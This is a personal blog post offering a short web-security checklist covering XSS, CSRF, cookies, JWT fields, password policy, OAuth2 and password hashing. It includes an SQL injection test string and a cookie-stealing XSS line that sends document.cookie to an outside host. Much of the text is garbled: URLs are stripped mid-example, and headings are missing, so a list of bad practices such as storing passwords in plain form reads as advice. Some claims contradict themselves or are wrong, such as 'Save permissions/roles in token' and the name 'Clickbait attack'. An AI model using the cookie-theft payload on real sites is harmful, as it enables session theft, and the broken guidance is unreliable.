Nino's Blog

Security short guide


There no more concise way to learn and correctly do something then having a checklist. So here is one for security together with short guide about different security topics:

Common attacks

  • XSS (Cross Site scripting) - code injection
  • CSRF (Cross Site Request Forgery) - attack which forces an end user to execute unwanted actions on a web app in which they’re currently authenticated (E.g. img embedded on - <img src=">)
  • Session hijacking - over HTTP connection attacker spy on browser’s request look at the cookie (since it is not HTTPS) and then it can impersonate user.
  • Clickbait attack - attack on put iframe overlay with opacity 0 of your site, so when user click on a button in page it actually clicks a button on overlay (e.g. buy item). To prevent this use SameSite: Lax or Strict cookies or set header to deny iframing your site (X-Frame-Options: deny or sameorigin)
  • DNS hijacking - hijacked DNS resolves send client request to wrong IP address.
  • DNS rebinding - attacker site rebinds DNS to victim localhost (prevent it by checking host header in servers middleware).

XSS vs CSRF - Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser.


Code injection is caused when untrusted user data unexpectedly becomes code. Two types of attacks:

  • HTML injections
  • SQL injections

To prevent it always escape or sanitize user input. User input can come from query parameters, form fields, headers, cookies, file uploads, through third party services.

You should sanitize data on the way out of database, at render time, cause even if you escape data on the way in, you can’t be certain there is no malicious code in database.


  • Given two JavaScript execution contexts, one should be able to access the other only if protocols, hostnames and port numbers associated with their host documents match exactly (“protocol-host-port tuple” is called “origin”).
  • Explicit opt-out mechanisms document.domain (to subdomains set document domain to be same), fragment identifier communication (changing iframe url) and iframe postMessage API.
  • Compared to cookies they are more specific subdomains can’t communicate with main domain, but also less specific cause path is ignored.
  • What does CORS allow from our site A to other site B:

    • link to site (but it is not allowed to read data from site B)
    • embedding whole site (but it is not allowed to modified its content). To prevent it check Referer header.
    • submit a form. To prevent it detect origin and whitelist it and use SameSite cookie)
    • embed image. To hotlinking detect Referer header, use allowlist (not bulletproof since Referer header can me changed). For images with cookies like avatar, use SameSite cookies.
    • embed scripts. To prevent hotlinking or stealing your bandwidth detect Referer header.



  • Save permissions/roles in token, cause permission/roles rules could change. You should only do auth through token and then do look up to see what user is allowed to do (authorization).


  • Common properties of JWT tokens:

    • iss - issuer of token
    • sub - subject, eg user’s email
    • aud - audience, unique identifier for the API.
    • iat - issued at
    • exp - expires at
    • azp - authorized party, the party to which the ID Token was issued
    • scope - that user gave us, what client is allowed
    • nonce - value used to associate a Client session with an ID token



  • Easiest way to test is site vulnerable to SQL injections is to type in username field '' OR 1=1 --
  • All injection attacks (HTML, Code or SQL injections) is about combing user input that are not escaped with our code.


  • Content Security Policy (CSP)

    • CSP prevents ours sites from making request to other sites.
    • Added layer of security against XSS, even if attackers code is running in user’s browsers we can limit damage they can do.


  • Attributes:

    • Expires - if we don’t set then it will last as long as browser session, but we can’t rely on that. In reality browser will do cookie restoration. If you fill out a form and you accidentally close tab you reopen it and all data will be there. So we can rely on browsers to delete cookies we need to set expires attribute (we also use it to delete cookie, by just setting it in the past).
    • Path - scope of a cookie, if we want our cookie to valid only on certain part of a site (e.g. /blog will match /blog and /blog/first…). Do not use path for security, cause you can see cookies from different paths).
    • Domain - allow the cookie to be scoped to a domain broader than the domain that returned Set-Cookie header (e.g. can set cookie for, by default can only see cookies for and those that branch off from it like
    • Secure - only send cookies over HTTPS connection
    • HttpOnly - disallow JS to read and write to cookie. Preventing XSS attacks like when user in forum post image to get users cookies new Image().src = ' + document.cookie

to set multiple cookies Set-Cookie: theme=dark; Expires=

Secure - only send cookies over HTTPS connection

HttpOnly - disallow JS to read and write to cookie Preventing XSS attacks I inject this piece of code to to get everybody’s cookies of - new Image().src = ‘ + document.cookie



  • Should be stored case insensitively
  • Should should be unique


  • Length is most important parameter. Characters vs time to crack:

    • 9 chars - 2 minutes
    • 10 chars - 2 hours
    • 11 chars - 6 days
    • 12 chars - 1 year
    • 13 chars - 64 years
    • Min password at least 8 chars.
    • Max at least 64 chars (bcrypt has max length of 72 ASCII chars)
  • Check password against know leaked breach passwords.
  • Complex passwords aren’t more secure. Using words from dictionary is easier to remember than combination of numeric, alphabetic and special symbols (green-house-on-fire is better than p4ssw0rd!).
  • Rate limit auth attempts.
  • Encourage use of second factor (2FA).
  • All traffic should be over TLS.


  • Force users to compound of numeric, alphabetic and special symbols.
  • Force users to regularly change their passwords (changing passwords regularly leads to weaker passwords).
  • Force users to choose password that was not previously used.
  • Silently truncate long passwords.
  • Restrict chars, like unicode and whitespace.
  • Save passwords anywhere in plain form (e.g. your log files).


  • Limit the rate at which an attacker can make authentication attempts, or delay incorrect attempts.
  • Keep track of IP addresses and limit the number of unsuccessful attempts (temporarily ban users).
  • Consider using CAPTCHA.


Oauth2 protocol was designed as an industry pattern to solve the delegation problem. Oauth2 protocol provides a secure resource delegation between services.

  • There are four different roles:
  • Resource owner
  • Client
  • Resource-Server
  • Authorization-Server

Oauth flow diagram

Encryption vs hashing

About: Hash function converts strings of random length to a fixed length string using some predefined algorithms.

  • Text generated by hashing functions is not reversible unlike encryption.
  • The output will be of fixed length for inputs of variable lengths.
  • Even a small change in input text would generate a totally different hash.
  • For same input same hashes is generated. We can prevent this using salt and pepper.

What are salt and peppers? We would need to add a some bytes to the password before passing in to a hashing function. As hashes cannot be decrypted, but still a person can generate a rainbow table which is a precomputed table of commonly used passwords and their hashing functions. The hacker can match the hashes to the database hashes and will be able to tell the password. This would be prevented if a unique and random string is added to password which before saving a hash.

salted hash(password) = hash(password || salt)

The salt would be unique for each password. Hence, all the hashes would be unique. The salt is not a private entity, it can be saved along with hash as a part of hash or in a different field. If two users use the same password, when added with salts, their generated hash would be different. Pepper are also random strings that are added to passwords, they differ from the salt in the fact that they are not unique per user, they are same across all application. They are not stored in database necessarily. We will use them as environment variable in our application demo.

Preventing other sites from accessing our resources

  • images:

    • Set SameSite cookie to Lax or Strict.
    • Check Referer header - because response could hit cache you also need to adjust Vary header or remove caching Cache-Control: no-store. Another gotcha, sites can opt out of sending Referer header.


Written by Nino Majder who lives and breaths web development. Follow him on Twitter